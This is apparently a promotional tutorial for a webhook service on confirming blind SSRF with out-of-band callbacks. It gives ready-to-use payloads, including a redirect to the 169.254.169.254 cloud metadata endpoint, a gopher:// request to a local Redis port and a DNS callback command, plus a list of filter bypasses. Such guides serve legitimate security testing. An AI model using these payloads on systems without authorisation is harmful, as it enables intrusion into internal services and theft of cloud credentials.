How to Test for SSRF Using a Webhook (OOB Guide)

Server-Side Request Forgery (SSRF) is one of the highest-impact bugs you can find: get a server to make requests on your behalf and you can reach cloud metadata, internal services and more. The fastest way to confirm it is an out-of-band (OOB) callback — you make the target hit a URL you control and watch it land.

Why a webhook?

Many SSRF bugs are “blind”: the response never comes back to you. A webhook endpoint solves that — the target’s request shows up on your side with its headers and, crucially, its source IP. That IP is often an internal or cloud egress address that proves the request really came from the server, not from you.

Step 1 — get a callback URL

Open webhook.press and copy your unique URL:

https://webhook.press/<your-token>

Step 2 — plant it where the server fetches a URL

Look for any parameter that takes a URL, hostname, or file: url=, image=, callback=, webhook=, PDF generators, link previews, avatar-from-URL, import-from-URL, and XML/SVG parsers. Drop your callback in:

POST /api/import
{ "url": "https://webhook.press/<token>" }

If a request appears in your dashboard, the server fetched it. Check the source IP — an internal or cloud IP is your proof.

Step 3 — reach cloud metadata

Confirmed SSRF often lets you hit the cloud metadata service. Filters that block 169.254.169.254 are frequently bypassable with a redirect. Use a token-scoped redirect that keeps the request method:

https://webhook.press/<token>/r?u=http://169.254.169.254/latest/meta-data/&code=307

Point the vulnerable parameter at the /r URL; the server follows the 302/307 to the internal target. Scheme switches help too:

https://webhook.press/<token>/r?u=gopher://127.0.0.1:6379/_INFO

Step 4 — go blind with DNS

If there is no outbound HTTP at all, fall back to DNS. Any lookup of your subdomain is logged, even when the HTTP request is blocked:

curl http://x.<token>.oob.webhook.press/

A DNS hit in your log confirms the server at least resolved the name — enough to prove blind SSRF.

Common bypasses to try

• Redirect from an allowed host to an internal one (/r).
• Decimal/hex/octal IP encodings of 127.0.0.1 and 169.254.169.254.
• [::], 0.0.0.0, and trailing-dot hostnames.
• DNS rebinding when the app resolves twice.

From a finding to a fix

SSRF rarely stops at one request — it chains into credential theft and lateral movement. That full chain is exactly what a manual pentest maps out.